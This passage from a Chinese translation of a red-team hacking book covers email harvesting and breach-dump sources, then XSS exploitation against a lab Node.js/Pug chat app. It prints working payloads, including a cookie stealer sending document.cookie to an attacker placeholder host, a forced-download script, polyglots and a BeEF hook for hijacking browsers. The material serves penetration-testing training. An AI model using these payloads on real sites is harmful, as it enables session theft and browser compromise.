一旦你得到了一个小的 email 列表,最好去了解他们的 email 格式。是 名.姓氏@cyberspacekitten.com 这样的格
式吗?还是 名的第一个字母.姓氏@cyberspacekittens.com 这样的?一旦你弄清楚了他们的格式,我们就可以使用像
LinkedIn 这样的工具来寻找更多的员工,并尝试找到他们的 email 地址。
SimplyEmail
我们都知道鱼叉式网络钓鱼仍然是比较成功的攻击手段之一。如果我们没有找到任何外部漏洞,那么下一步就是攻击
用户。要建立一个好的 email 地址列表,我们可以使用像 SimplyEmail 这样的工具。此工具的作用是可以输出公司
的 email 地址格式和有效用户列表。
实验:
找出 cnn.com 的所有 email 帐户。
cd /opt/SimplyEmail
./SimplyEmail.py -all -v -e cyberspacekittens.com
firefox cyberspacekittens.com<date_time>/Email_List.html
这可能需要很长时间来运行,因为它检查 Bing、Yahoo、Google、Ask Search、PGP 仓库、文件等等。这也可能让
你的网络被搜索引擎们识别成机器人。并且如果你产生了太多的搜索请求,那么可能需要填写验证码。
针对你自己的公司进行此操作。你看到任何你可以识别的 email 地址了吗?这可能是可以在一个大规模红队活动中被
设为靶子的第一个 email 地址。
过去的违规行为(email 信息泄露)
获取 email 帐户的最佳方法之一是持续监控和捕捉过去的违规行为。我不想直接链接到违规文件,但我给出一些我认
为有用的参考:
1.4 亿密码泄露(2017年): https://thehackernews.com/2017/12/data-breach-password-list.html
Adobe 信息泄露(2013年): https://nakedsecurity.sophos.com/2013/11/04/anatomy-of-a-password-dis
aster-adobes-giant-sized-cryptographic-blunder/
Pastebin Dumps: http://psbdmp.ws/
Exploit.In Dump
Pastebin 的 Google Dork: site:pastebin.com intext:cyberspacekittens.com
额外的开源资源
我不知道该把这些资源放在哪里,但我想提供一个用于红队活动的额外的优秀资源集合。它可以帮助识别人、位置、
域名信息、社交媒体、图像分析等。
OSINT 链接合集: https://github.com/IVMachiavelli/OSINT_Team_Links
OSINT 框架: http://osintframework.com/
译者注: 公开资源情报计划(Open source intelligence),简称 OSINT ,是美国中央情报局(CIA)的一种情
报搜集手段,从各种公开的信息资源中寻找和获取有价值的情报。
本章总结
在这一章中,我们学习了各种不同的侦察战术和侦察工具。这只是一个开始,因为这些技术许多都是手工的,并且需
要大量的时间来执行。这取决于你自己是否能提高自己的功力,自动化使用所有这些工具,并使侦察工作快速和高
效。
第3章 抛传——Web 应用程序漏洞利用
译者:@Snowming
校对者:@鶇、@leitbogioro、@哈姆太郎、@匿名jack、@Victor Zhu
在过去几年中,我们看到了一些严重的、面向外部网络的 Web 攻击。从 Apache Struts 2开发框架漏洞(尽管
Equifax 公司因 Apache Struts 2安全漏洞而造成数据泄露还未被确认),到美国快餐公司 Panera Bread 数据泄露,
到 Uber 信息泄露,攻击几乎波及了社会上的一切。毫无疑问,我们还会继续看到许多严重的面向公网的端点攻击。
整个安全行业以周期性模式运行。如果从 OSI 模型的不同层级来看,就会发现攻击每隔一年就会转移到不同的层。就
Web 而言,早在21世纪初,就有大量的 SQLi 和 RFI 类型的漏洞利用事件。然而,一旦公司开始加强其外部网络环境
并开始进行外部渗透测试,我们作为攻击者,就要转而针对“第8层”攻击 —— 将社会工程学攻击(网络钓鱼)作为第
一切入点。现在,正如我们看到的,各个组织通过新一代终端防护/防火墙来提高其内部安全性,所以我们的重点又
转回了应用程序的漏洞利用。我们还看到应用程序、API 和编程语言的复杂性大幅增加,使得许多旧的甚至是新的漏
洞重新出现。
由于本书更多地针对红队行动的概念,因此我们不会深入研究所有不同的 Web 漏洞或是如何手动利用它们。这本书
并不是一本字典类型的参考工具书。你将关注的是红队队员和坏人在现实世界中所能看到的漏洞,例如那些危害到
PII(个人验证信息)、IP、网络等的漏洞。 对于那些正在寻找非常详细的 Web 渗透测试方法的人,我总是建议从
OWASP 测试指南开始( http://bit.ly/2GZbVZd 和 https://www.owasp.org/images/1/19/OTGv4.pdf )。
请注意,由于在上本书中提到的许多攻击都没有改变,因此我们不会在之后的练习中重复 SQLMap、IDOR 攻击和
CSRF 漏洞等示例。相反,我们将专注于新的关键问题。
漏洞赏金平台
在我们开始学习如何利用 Web 应用程序漏洞之前,让我们先谈谈漏洞赏金平台。我们见到的最常见的问题是,“我怎
样才能在完成训练后继续学习?”最好的建议是针对真实的上线了的系统进行练习。你可以一直做靶场训练,但如果
没有真实的入侵经验,就很难成长。
但有一点需要注意:平均而言,在你开始不断发现漏洞之前,需要大约3-6个月的沉淀时间。我们的建议是:不要感
到沮丧,与其他漏洞赏金猎人保持交流,而且不要忘记可以去看看老一点的漏洞赏金项目。
比较常见的漏洞赏金平台是 HackerOne,BugCrowd 和 SynAck。还有很多其他的平台。这些平台可以支付从零到两
万美元以上之间的奖励。
我的许多学生觉得开始寻找漏洞是件令人畏缩却步的事情。这真的需要你投入其中,每天花几个小时做这件事情,并
专注于理解如何利用第六感找到漏洞。一般来说,开始的时候可以看看无报酬的漏洞赏金项目(因为专业的赏金猎人
不会注意它们)或像 Yahoo 这样大型的老漏洞赏金项目。这些类型的站点往往具有很大的规模和许多遗留的旧服务
器。正如在以前的书中提到的,确定测试范围很重要,寻找赏金漏洞也不例外。许多平台都指定了哪些可以做,哪些
不可以做(比如禁止扫描、禁止自动化工具、哪些域名可以被攻击等)。有时你很幸运,他们允许你测试
*.company.com,但其他时候可能仅限于一个 FQDN(完全限定的域名)。
让我们以 eBay 为例,他们有一个公开的漏洞赏金平台。在他们的漏洞赏金平台上,他们说明了挖洞指南、符合条件
的域名、符合条件的漏洞、不包括的项目、如何报告漏洞和白帽子公开致谢:
如何向公司报告漏洞通常与寻找漏洞本身同样重要。你要确保向公司提供尽可能多的细节。这将包括漏洞的类型、严
重性/关键性、利用漏洞所采取的步骤、屏幕截图,甚至用到的 POC(proof of concept)。如果你需要一些帮助来
创建风格统一的报告,可以查看和使用下面的报告生成表单: https://buer.haus/breport/index.php 。
我以前有运营自己漏洞赏金平台,有一件事需要注意的是,我在平台上看到了一些情况,研究人员会在验证漏洞时过
于深入目标系统(超过了正常验证漏洞的范围)。例如包括在发现 SQL 注入后对数据库拖库,在接管子域后挂黑页
填写他们认为有趣的内容,甚至在初始远程代码执行漏洞之后在生产环境中横向渗透。这些案例可能会导致法律问
题,并有可能让联邦调查局找上门来。因此,请你最好谨慎判断,确认好测试范围,并记住,如果直觉觉得它是非法
的,那么它可能就是非法的。
网络攻击介绍——Cyber Space Kittens
在完成侦察和发现之后,你回顾所有你发现的不同站点。浏览结果时,你没有发现常见的可进行漏洞利用的服务器或
配置错误的应用程序。没有任何 Apache Tomcat 服务器或 Heartbleed/ShellShock,看起来他们修补了所有
Apache Strut 问题和 CMS 应用程序漏洞。
你的第六感直觉开始发挥作用,你开始研究他们的客户支持系统。感觉有些地方就是不对劲,但是在哪里呢?
对于本章中的所有攻击,都可以使用一个本书定制的 VMWare 虚拟机来复现这些实验。这个虚拟机可以在以下网站
免费下载:
http://thehackerplaybook.com/get.php?type=csk-web
为搭建演示 Web 实验环境(客户支持系统):
从以下位置下载本书的 VMWare 虚拟机:
http://thehackerplaybook.com/get.php?type=csk-web
下载在实验环境里要用到的完整命令列表:
https://github.com/cheetz/THP-ChatSupportSystem/blob/master/lab.txt
Bit.ly 链接: http://bit.ly/2qBDrFo
启动并登录 VM(虚拟机)
当 VM 完全启动时,它应该显示应用程序的当前 IP 地址。你无需登录进 VM,所以登录密码也不需要。你可以
自行入侵这个程序。
由于这是一个托管在你自己系统上的 Web 应用程序,因此我们在攻击端 Kali 系统上创建一个主机名记录:
在我们的攻击端 Kali 虚拟机上,让我们编辑 host 文件以指向我们的存在漏洞的应用程序(客户支持系
统),以便可以通过 hostname 和 IP 来引用应用程序:
gedit /etc/hosts
添加客户支持系统虚拟机的 IP
[客户支持系统的 IP]chat
现在,打开 Kali 的浏览器并访问 http://chat:3000/ 。如果一切正常,你应该能够看到 NodeJS 自定义的客
户支持系统程序。
Web 部分的命令和攻击可能非常冗长和复杂。为了方便起见,我在这里列出了每个实验需要的所有命令:https://git
hub.com/cheetz/THP-ChatSupportSystem/blob/master/lab.txt
译者注:
译者在尝试复现此实验时,发现没有获取到 ipv4 地址,后来切换了一下网卡设置,把“桥接模式”改成 NAT 就解
决了。如果有读者遇到一样的问题可以参考此做法。
参考资料:https://github.com/cheetz/THP-ChatSupportSystem/issues/1
红队的 Web 应用程序攻击
前两本书着重于如何有效地测试 Web 应用程序 - 这一次会有所不同。我们将跳过许多基本攻击,并接触现实世界中
使用的攻击手法。
由于这是一本实用性较强的书,所以我们不会详细讨论 Web 应用程序测试的所有技术细节。然而,这并不意味着这
些细节应该被忽略。Web 应用程序测试的一个很好的资源是 Open Web Application Security Project ,简称
OWASP。OWASP 侧重于应用程序的安全开发和用户教育。每隔几年,OWASP 都会编制并发布一个最常见漏洞的清
单—— http://bit.ly/2HAhoGR 。一个更深层次的测试指南位于这里:http://bit.ly/2GZbVZd 。OWASP 的文档将带
你了解要查找的漏洞类型、风险以及如何利用它们。这里有一个很好的清单文档:http://bit.ly/2qyA9m1 。
由于我的许多读者都试图进入安全领域,所以我想快速的提一件事:如果你想进行渗透测试工作,你至少要理解
OWASP Top 10 的方方面面,这是至关重要的。你不仅应该知道它们是什么,而且还应该根据风险类型以及如何检测
它们了解一些好的示例。现在,让我们回到如何入侵 CSK 上来 。
聊天支持系统实验
将被攻击的聊天支持系统是交互式的,它突出了新的和旧的漏洞。正如你将看到的,对于以下许多实验,我们会提供
不同版本的带有聊天支持系统的自定义虚拟机。
应用程序本身是用 Node.js 编写的。为什么选择 Node?作为渗透测试人员,我们要注意的是,它是使用率增长最快
的应用程序之一。由于许多开发人员似乎都非常喜欢 Node,所以我觉得理解将 JavaScript 作为后端代码运行的安全
含义是很重要的。
什么是 Node?
“Node.js® 是一个基于 Chrome V8引擎的 JavaScript 运行环境。Node.js 使用了一个事件驱动、非阻塞式 I/O 的模
型,使其轻量又高效。”Node.js 的包生态系统,即 NPM,是世界上最大的开源库生态系统。
在最基本的层面上,Node.js 允许你在浏览器之外运行 JavaScript。由于 Node.js 具有精简,快速和跨平台的特性,
所以它可以通过统一堆栈来大大简化项目。虽然 Node.js 不是 Web 服务器,但它允许服务器(可以用 JavaScript 编
程的东西)存在于实际 Web 客户端之外的环境中。
优点:
非常快
单线程 JavaScript 环境,可以充当独立的 Web 应用程序服务器
Node.js 不是协议;它是一个用 JavaScript 编写的 Web 服务器
NPM 代码仓库拥有近50万个免费、可重用的 Node.js 代码包,这使它成为世界上最大的包管理器
随着 Node.js 在过去几年变得如此流行,对于渗透测试人员/红队成员来说,理解应该寻找什么突破口以及如何攻击
这些应用程序是非常重要的。例如,一位研究人员发现,弱 NPM 凭证使他能够获取 13% 的 NPM 包的编辑和发布权
限。通过依赖链,预计有52% 的 NPM 包是易受攻击的。
[https://www.bleepingcomputer.com/news/security/52-percent-of-all-javascript-npm-packages-could-have-be
en-hacked-via-weak-credentials/]
在下面的示例中,我们的实验室将使用 Node.js 作为应用程序的基础,它将使用 Express 框架作为我们的 Web 服务
器。然后,我们将把 Pug 模板引擎添加到我们的 Express 框架中。这类似于我们现在在新开发的应用程序中经常见
到的东西。
Express 是一个用于 Node.js 的极简 Web 框架。Express 为 Web 和移动应用程序提供了一组强大的功能,因此你无
需进行大量工作。使用名为 Middlewares 的模块,你可以添加第三方认证或服务,如 Facebook 身份验证或 Stripe
支付服务。
Pug,正式名称为 Jade,是一个服务器端模板引擎,你可以(但不是必须)与 Express 一起使用它。Jade 用于在服务器
上以编程方式生成 HTML 页面并将其发送给客户机。
让我们开始攻击 CSK 并启动聊天支持系统虚拟机。
Cyber Space Kittens:聊天支持系统
你偶然发现了面向外部网络的 CSK 聊天支持系统。当你慢慢筛选所有页面并了解底层系统时,你会在应用程序中寻
找其弱点。你需要在服务器中找到第一个入口点,以便可以转入入侵生产环境。
你首先浏览了所有漏洞扫描程序和 Web 应用程序扫描程序的报告结果,但是一无所获。看起来这家公司经常运行常
见的漏洞扫描器并修补了大部分问题。现在入侵的关键突破口在于代码问题、错误配置和逻辑缺陷。你还注意到此应
用程序正在运行 NodeJS,这是一种最近很流行的语言。
设置你的 Web 应用程序攻击机器
虽然对于红队要面对的 Web 应用程序,并没有什么完美的入侵方法,但是你需要的一些基本工具包括:
用浏览器武装自己。许多浏览器的行为都非常不同,尤其是复杂的 XSS 规避机制:
Firefox(我的最爱)
Chrome
Safari
Wappalyzer:一种跨平台的实用程序,可以揭示网站上使用的技术。它可以检测内容管理系统,电子商务平
台,Web 框架,服务器软件,分析工具等等。
https://wappalyzer.com/
BuiltWith:一个网站分析工具。在查找页面时,BuiltWith 会返回它在页面上可以找到的所有技术。BuiltWith
的目标是帮助开发人员,研究人员和设计人员找出正在使用的技术页面,这可以帮助他们决定自己采用哪些技
术。
https://builtwith.com/
Retire.JS:扫描 Web 应用程序所使用的易受攻击的 JavaScript 库。Retire.js 的目标是帮助你检测具有已知漏洞
的版本的使用情况。
https://chrome.google.com/webstore/detail/retirejs/moibopkbhjceeedibkbkbchbjnkadmom?
Burp Suite(约350美元):虽然这个商业工具有点贵,但绝对物有所值,对于渗透测试人员和红队队员来说。
它的好处来自附加组件,模块化设计和用户开发基础。如果你买不起 Burp,OWASP ZAP(免费)是一个很好
的替代品。
分析 Web 应用程序
在我们进行任何类型的扫描之前,尝试理解底层代码和基础结构非常重要。我们怎样才能知道后端运行的是什么代
码?我们可以使用 Wappalyzer,BuiltWith 或 Google Chrome 浏览器查看。在下面的图像中,当加载聊天应用程序
时,我们可以在 Chrome 中看到 HTTP 标头具有 X-Powered By: Express。我们还可以在Wappalyzer 中看到应用程
序正在使用 Express 和 Node.js。
盲目攻击网站之前了解目标应用程序可以帮助你提供更好的思路。这也有助于入侵可能有 WAF 的目标站点,允许你
使用更多的攻击手法。
网络探测
在之前的书中,我们详细介绍了如何使用 Burp Suite 以及如何对站点进行渗透测试。我们将跳过很多设置基础知
识,并将更多精力放在攻击网站上。
在这一点上,我们将假设你已经设置好了 Burp Suite(免费或付费),并且你使用的是本书的 Kali 镜像。一旦我们
了解了底层系统,我们就需要识别所有端点。我们仍然需要运行与之前相同的探测工具。
Burp Suite
爬虫:在免费和付费版本中,Burp Suite 都有一个很棒的爬虫工具。
内容探测:如果你使用的是付费版本的 Burp Suite,那么最受欢迎的探测工具之一就是 Discover
Content。这是一个智能高效的工具,可以查找目录和文件。你还可以为扫描指定多种不同的配置。
主动扫描:运行所有参数的自动漏洞扫描并测试多个 Web 漏洞。
OWASP ZAP
类似于 Burp,但完全开源和免费。具有类似的探测和主动扫描功能。
Dirbuster
一个很久以前就被开发出的旧工具,用于发现 Web 应用程序的文件/文件夹,但现在仍然可以顺利的完成
工作。
目标网址:http://chat:3000
字典:
/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
GoBuster
非常轻量级、快速的目录和子域名爆破工具
gobuster -u http://chat:3000 -w /opt/SecLists/Discovery/Web-Content/raft-small-directories.txt -s
200,301,307 -t 20
你的字典列表非常重要。我最喜欢使用的一个汇总的字典列表是一个名为 raft 的旧字典,它是许多开源项目的集合。
你可以在这里找到这些和其他有价值的字典列表:https://github.com/danielmiessler/SecLists/tree/master/Discov
ery/Web-Content (已包含在本书的 Kali 镜像中)。
现在既然我们已经完成了概述,让我们进行一些攻击吧。从红队的角度来看,我们正在寻找可以主动攻击的漏洞,并
为我们提供最大的帮助。如果我们正在进行评估或渗透测试,我们可能会报告漏洞扫描程序中的 SSL 问题,默认
Apache 页面或其他漏洞扫描程序发现的不可利用的漏洞等。但是,在我们的红队工作中,我们可以完全忽略这些,
并专注于能使我们获得高级访问权限,shell 或 转储 PII 的攻击。
XSS 跨站脚本攻击
在这一点上,我们都曾经见过并利用过跨站点脚本攻击(XSS)。使用传统的 XSS 攻击测试网站上的每个变量的方
式:,对于漏洞赏金平台来说可能很有用,但我们可以做更多吗?我们可以使用哪些工具和方法来更好地利用这些攻
击?
我们都知道 XSS 攻击是客户端攻击,允许攻击者创建特定的 Web 请求从而将恶意代码注入响应中。这通常可以通过
客户机和服务器端的适当输入验证来修复,但这绝不是那么容易。为什么这么说?因为 XSS 漏洞由多种原因造成
的。从编码不规范到不理解框架,有时候应用程序变得过于复杂,就很难理解一个输入点的安全性。
因为仅仅弹窗确实没有真正的危害,让我们从一些基本类型的 XSS 攻击开始:
Cookie 窃取XSS:
<script>document.write('<img src="http//<YourIP>/Stealer.php?cookie='%2B document.cookie %2B
'"/>');</script>
强制下载文件:
<script>var link = document.createElement('a'); link.href
='http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe'; link.download =
'';document.body.appendChild(link); link.click();</script>
重定向用户:
<script>window.location = "https://www.youtube.com/watch?v=dQw4w9WgXcQ";</script>
其他脚本以启用键盘记录器,拍照等:
http://www.xss-payloads.com/payloads-list.html?c#category=capture
经过混淆的 XSS payload 和 XSS Polyglot
现在,标准的 XSS payload 通常仍然有效,但我们确实会遇到一些应用程序过滤字符或应用程序有 WAF 防护的情
况。有两个很好的资源可以帮助你开始制作混淆的 XSS payload 攻击:
https://github.com/foospidy/payloads/tree/master/other/xss
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
有时在行动期间,你可能会遇到简单的 XSS 过滤器,它们会查找像 <script> 这样的字符串。混淆 XSS payload 是
一种选择,但一定要注意并非所有 JavaScript payload 都需要打开和关闭 <script> 标签。有一些 HTML 事件属性
在触发时执行 JavaScript( https://www.w3schools.com/tags/ref_eventattributes.asp )。这意味着任何专门针对
Script 标签的规则都是无效的。例如,下列这些执行 JavaScript 的 HTML 事件属性就不使用 <script> 标签:
<b onmouseover=alert('XSS')>Click Me!</b>
<svg onload=alert(1)>
<body onload="alert('XSS')">
<img src="http://test.cyberspacekittens.com" onerror=alert(document.cookie);>
你可以通过访问应用程序来尝试 CSK 应用程序中的每个 HTML 实体攻击:http://chat:3000/ (记得修改
/etc/host 文件以指向与虚拟机 IP 的聊天)。进入后,注册一个帐户,登录应用程序,然后转到聊天功能( htt
p://chat:3000/chatchannel/1 )。尝试不同的实体攻击和经过混淆的 payload。
XSS 的其他优秀资源:
第一个是由 @jackmasa 制作的思维导图。这是一个很棒的文档,它根据输入点的位置来分解不同的 XSS
payload。虽然不再在 JackMasa GitHub 页面上,但是这里有一个副本。
另一个很好的资源,讨论哪些浏览器容易受到哪些 XSS payload 的影响:https://html5sec.org/ 。
如你所见,尝试在应用程序上查找每一个 XSS 有时是很烦人的。这是因为易受攻击的参数受到代码功能、不同类型
的 HTML 标记、应用程序类型和不同类型的过滤的影响。试图找到初始 XSS 的弹出窗口可能需要很长时间。如果我
们可以尝试将多个 payload 链接到单个请求中,该怎么办?
最后一种类型的 payload 称为 Polyglot。Polyglot payload 采用许多不同类型的 payload 和混淆技术,并将它们编
译成一次攻击。这适用于想使用自动脚本查找 XSS、时间有限的的漏洞赏金项目,或者仅仅想要快速发现输入验证存
在哪些问题等情况。
因此,我们可以像( http://bit.ly/2GXxqxH )这样构建一个 Polyglot,而不是普通的 <script>alert(1)
</script> :
/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert()
)//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
如果你看一下上面的 payload,此攻击试图不使用尖括号,点和斜线的传统攻击代码;执行 onclick XSS;关闭多个标
签;最后尝试一个 onload XSS。这些类型的攻击使 Polyglots 在识别 XSS 方面非常有效和高效。你可以在此处阅读
有关这些 Polyglot XSS 的更多信息:https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Po
lyglot 。
如果你想测试和使用不同的 polyglots,可以从易受攻击的 XSS 页面( http://chat:3000/xss )或整个聊天应用程序
开始。
BeEF
浏览器漏洞利用框架( http://beefproject.com/ )或简称 BeEF 将 XSS 攻击提升到另一个层次。此工具将
JavaScript payload 注入受害者的浏览器,该浏览器会感染用户的系统。这会在受害者的浏览器上创建一个 C2通
道,用于 JavaScript 后期利用。
对红队来说,BeEF 是一个很好的工具,可用于入侵活动,跟踪用户,捕获凭据,执行点击劫持,使用 Tabna 进行攻
击等等。如果不在攻击期间使用,BeEF 也是一个很好的工具,可以展示 XSS 漏洞的强大功能。这也有助于更复杂的
攻击,我们将在后面的 Blind XSS 小节下讨论。
BeEF 分为两部分:一部分是服务器,另一部分是攻击 payload。要启动服务器:
在你的攻击者 Kali 主机上启动 BeEF
打开终端
beef-xss
使用 beef:beef
查看 http://127.0.0.1:3000/hook.js
完整 payload 文件:
<script src="http://<Your IP>:3000/hook.js"></script>
查看位于 http://127.0.0.1:3000/hook.js 上的 hook.js 文件,你应该会看到类似于长混淆的 JavaScript 文件的内容。
这是连接受害者返回命令和控制服务器的客户端 payload 。
一旦在目标应用程序上识别出 XSS,而不是原始的 alert(1) 样式的 payload,就可以修改 <script src
="http://<YourIP>:3000/hook.js"></script> payload 来利用此漏洞。一旦你的受害者陷入此 XSS 陷阱,将导
致他们的浏览器连接回你这边并成为你的僵尸网络的一部分。
BeEF 支持哪些类型的后渗透攻击?一旦你的受害者受到你的控制,你就可以做任何 JavaScript 可以做的事情。你可
以通过 HTLM5打开相机并拍摄受害者的照片,你可以在屏幕上显示覆盖图以捕获凭据,也可以将其重定向到恶意网
站以执行恶意软件。
以下是 BeEF 从 XSS 攻击中引发大量问题的快速演示:
首先,确保你的 BeEF 服务器在攻击者计算机上运行。在我们的易受攻击的聊天支持系统的应用程序中,你可以访问
http://chat:3000/xss 并在练习2的字段中输入你的 payload:
<script src="http://127.0.0.1:3000/hook.js"></script>
一旦你的受害者连接到你的僵尸网络,你就可以完全控制他们的浏览器。你可以根据设备,浏览器和目标机器启用的
功能进行各种攻击。通过社会工程学演示 XSS 影响力的一个好方法是通过 Flash 更新提示将恶意软件推送到他们的计
算机。
一旦执行,将在受害者的计算机上显示弹出窗口,强制他们安装更新,其中包含我们准备的恶意软件。
我建议花一些时间熟悉所有 BeEf 的后渗透模块,并了解 JavaScript 的强大功能。由于我们会控制浏览器,因此我们
必须弄清楚如何在红队活动中使用它。一旦你通过 XSS 感染了受害者,你还想做些什么?我们将在后面的“从 XSS 到
shell”部分讨论这个问题。
Blind XSS 漏洞
Blind XSS 漏洞很少被讨论,因为它是需要耐心的游戏。什么是 Blind XSS 漏洞?正如攻击的名称所表示的那样,攻
击者/用户看不到存储的 XSS payload 的执行(无回显),只有管理员或后台员工才能看到。由于其攻击后端用户的
能力,所以这种攻击可能危害很大,但尽管如此,它还是经常被遗忘。
例如,我们假设某个应用程序有一个“联系我们”页面,允许用户向管理员提供联系信息,以便以后联系。由于该数据
的结果只能由管理员手动查看而不是用户请求查看,所以如果应用程序易受 XSS 攻击,攻击者不会立即看到他们的
“alert(1)” 攻击的回显。在这些情况下,我们可以使用 XSSHunter 来帮助我们验证 Blind XSS 漏洞。
XSSHunter 的工作原理是,当我们的 JavaScript payload 执行时,它将截取受害者屏幕(他们正在查看的当前页
面)的屏幕截图,并将该数据发送回 XSSHunter 的站点。发生这种情况时,XSSHunter 将发送一个警报,告知我们
的 payload 已执行并向我们提供所有详细信息。我们现在可以回去创建一个恶意 payload 并重新进行我们的攻击。
XSS Hunter:
禁用任何代理(即 Burp Suite)
在 https://xsshunter.com 创建帐户
登录 https://xsshunter.com/app
转到 Payload 模块以获得你的 Payload
修改 payload 以适应你的攻击或使用它构建 Polyglot
检查 XSS hunter 以查看 payload 执行情况
基于 DOM 的 XSS
对反射 XSS 和存储 XSS 的理解相对简单。我们已经知道,如果服务器没有为用户/数据库提供足够的输入/输出验证,
我们的恶意脚本代码就会通过源代码呈现给用户。然而,在基于 DOM 的 XSS 中,它略有不同,这导致了一些常见的
误解。因此,让我们花些时间专注于基于 DOM 的 XSS。
当攻击者可以操纵 Web 应用程序的客户端脚本时,就可以使用基于文档对象模型(DOM)的 XSS。如果攻击者可以
将恶意代码注入 DOM 并由客户端的浏览器读取,则可以在从 DOM 读回数据时执行 payload。
DOM 究竟是什么?文档对象模型(DOM)是 HTML 属性的一个特性。由于你的浏览器不理解 HTML,因此它会使
用将 HTML 转换为 DOM 模型的解释器。
让我们在聊天支持网站上试一下吧。查看易受攻击的 Web 应用程序,你应该能够看到聊天支持网站受到 XSS 攻击的
流程:
创建一个帐户
登录
去聊天
尝试 <script>alert(1)</script> ,然后尝试一些更疯狂的 XSS 攻击!
在我们的示例中,我们在服务器端有 Node.js,socket.io(Node.js 的库)在用户和服务器之间设置 Web 套接字,
客户端 JavaScript 和我们的恶意 msg.msgText JavaScript。正如你在下面和页面的源代码中看到的那样,你不会像
在标准的反射/存储的 XSS 中那样直接引用你的“弹窗” payload。在这个例子里,我们将得知唯一指示可以调用
payload 的位置来自 msg.name 引用。这有时会使我们很难确定执行 XSS payload 的位置,或者是否需要打破任何
HTML 标记。
NodeJS 中的高级 XSS
XSS 可以不断用于攻击的一个重要原因是,仅靠过滤标签或某些字符防御它的话要困难得多。当 payload 特定于某种
语言或框架时,XSS 很难防御。由于每种语言在此漏洞方面都有其独到之处,因此 NodeJS 也不会有什么不同。
在高级 XSS 部分中,你将学习一些特定语言的 XSS 漏洞发挥作用的示例。我们的 NodeJS Web 应用程序将使用一种
更常见的 Web 堆栈和配置。此实现包括 Express Framework 和 Pug 模板引擎。重要的是要注意一点,默认情况
下,Express 确实没有内置的 XSS 防护,除非通过模板引擎进行渲染。当使用像 Pub 这样的模板引擎时,有两种常
见的方法可以找到 XSS 漏洞:(1)通过字符串插值,以及(2)缓冲代码。
模板引擎有一个字符串插值的概念,这是一种定义“字符串变量的占位符”的奇特方式。例如,让我们将字符串分配给
Pug 模板格式的变量:
- var title = "This is the HTML Title"
- var THP = "Hack the Planet"
h1 #{title}
p The Hacker Playbook will teach you how to #{THP}
请注意, #{THP} 是 THP 之前分配的变量的占位符。我们通常会在电子邮件分发消息中看到这些模板。你是否收到
过来自 ${first_name} ...的自动化系统发送的电子邮件而不是你的真实名字?这正是模板引擎的用途。
当上面的模板代码呈现为 HTML 时,它将如下所示:
<h1>This is the HTML Title</h1>
<p>The Hacker Playbook will teach you how to Hack the Planet</p>
幸运的是,在这种情况下,我们使用 #{} 字符串插值,这是 Pug 插值的转义版本。如你所见,通过使用模板,我们
可以创建可重用性非常高的代码并使模板非常轻量级。
Pug 支持转义和非转义字符串插值。隐藏和未转义之间的区别是什么?好吧,使用转义字符串插值将对 < , > , '
和 " 之类的字符进行 HTML 编码。这将有助于向用户提供输入验证。如果开发人员使用非转义字符串插值,这通常
会导致 XSS 漏洞。
此外,字符串插值(或变量插值,变量替换或变量扩展)是评估包含一个或多个占位符的字符串文字的过程,从而产
生一个结果,其中占位符替换为其对应的值。[https://en.wikipedia.org/wiki/String_interpolation]
在 Pug 隐藏和非转义字符串插值( https://pugjs.org/language/interpolation.html ):
!{} - 非转义字符串插值
#{} - 转义字符串插值 * 虽然这是转义的,但如果直接通过 JavaScript 传递它仍然可能容易受到 XSS 的攻
击
在 JavaScript 中,未转义的缓冲区代码以“!=”开头。“!=”之后的任何内容都将自动作为 JavaScript 执行。 [http
s://pugjs.org/language/code.html#unescaped-buffered-code]
最后,只要允许插入原始 HTML,就有可能存在 XSS。
在现实世界中,我们已经看到许多易受 XSS 攻击的案例,基于上述说明的方法,开发人员忘记了他们所处的上下文
以及输入的参数的传递位置。让我们看看我们易受攻击的聊天支持系统应用程序中的一些示例。转到虚拟机上的以下
URL: http://chat:3000/xss 。我们将逐步完成这些练习中的每一个,以了解 NodeJS/Pug XSS。
练习1:( http://chat:3000/xss )
在这个例子中,我们将字符串插值转义为段落标记。这是不可利用的,因为我们在 HTML 段落上下文中使用了正确
的转义字符串插值符号。
转到 http://chat:3000/xss ,然后单击练习#1
Pug 模板源代码
p No results found for #{name1}
尝试输入并提交以下 payload :
单击练习#1并查看无结果输出
查看 HTML 响应(查看页面的源代码):
<script>alert(1)</script>
点击提交后,查看页面源代码(ctrl+u)并搜索“alert”一词。你将看到我们的 payload 中的特殊字符被转换为 HTML
实体。脚本标签仍可通过我们的浏览器在我们的网站上看到,但不会呈现为 JavaScript。这种字符串插值的使用是正
确的,并且实际上没有办法通过这种情况来找到 XSS。这个工作评分会是 A+!让我们看一些糟糕的例子。
练习2
在这个例子中,我们在段落标记中用 !{} 表示非转义字符串插值。这很容易受到被精心设计的 XSS 攻击。任何基本
的 XSS payload 都会触发此操作,例如: <script>alert(1)</script>
打开练习2
Pug 模板源代码
p No results found for !{name2}
尝试输入 payload:
<script>alert(1)</script>
返回:
<script>alert(1)</script>
点击提交后,我们应该看到弹出窗口。你可以通过查看页面源代码并搜索“alert”进行验证。
因此,使用未提交用户输入的非转义字符串插值( !{name2} )会导致很多麻烦。这是一种不好的做法,不应该用于
用户提交的数据。因为我们输入的任何 JavaScript 都将在受害者的浏览器上执行。
练习3
这个例子中,我们在动态生成的行内 JavaScript 中加入了转义后的字符串。这意味着我们成功了,因为它已经隐藏
了,不是吗?由于我们所处的代码上下文,这个例子很容易受到攻击。我们将在 Pug 模板中看到,在我们的转义插
值之前,我们实际上是在一个 script 标签内。因此,任何 JavaScript 都会自动执行。更棒的是,因为我们位于 Script
标签内,所以我们不需要将 <script> 标签用作 payload 的一部分。我们可以使用直接的 JavaScript 代码,例如:
alert(1):
打开练习3
Pug 模板源代码
script.
var user3 = #{name3};
p No results found for #{name3}
此模板将在 HTML 中进行转义,如下所示:
<script>
<p>No results found for [escaped user input]</p>
</script>
尝试输入 payload:
1;alert(1);
点击提交后,我们应该看到弹出窗口。你可以通过查看页面源代码并搜索“alert”进行验证。
顺便说一句,下面是一个小小的改变,正确的方法是在插值周围添加引号:
Pug 模板源代码
script.
var user3="#{name3}"
练习4
在这个例子中,我们有 Pug 非转义代码,由 != 表示,因为没有转义,所以它很容易受到 XSS 的攻击。因此,在这种
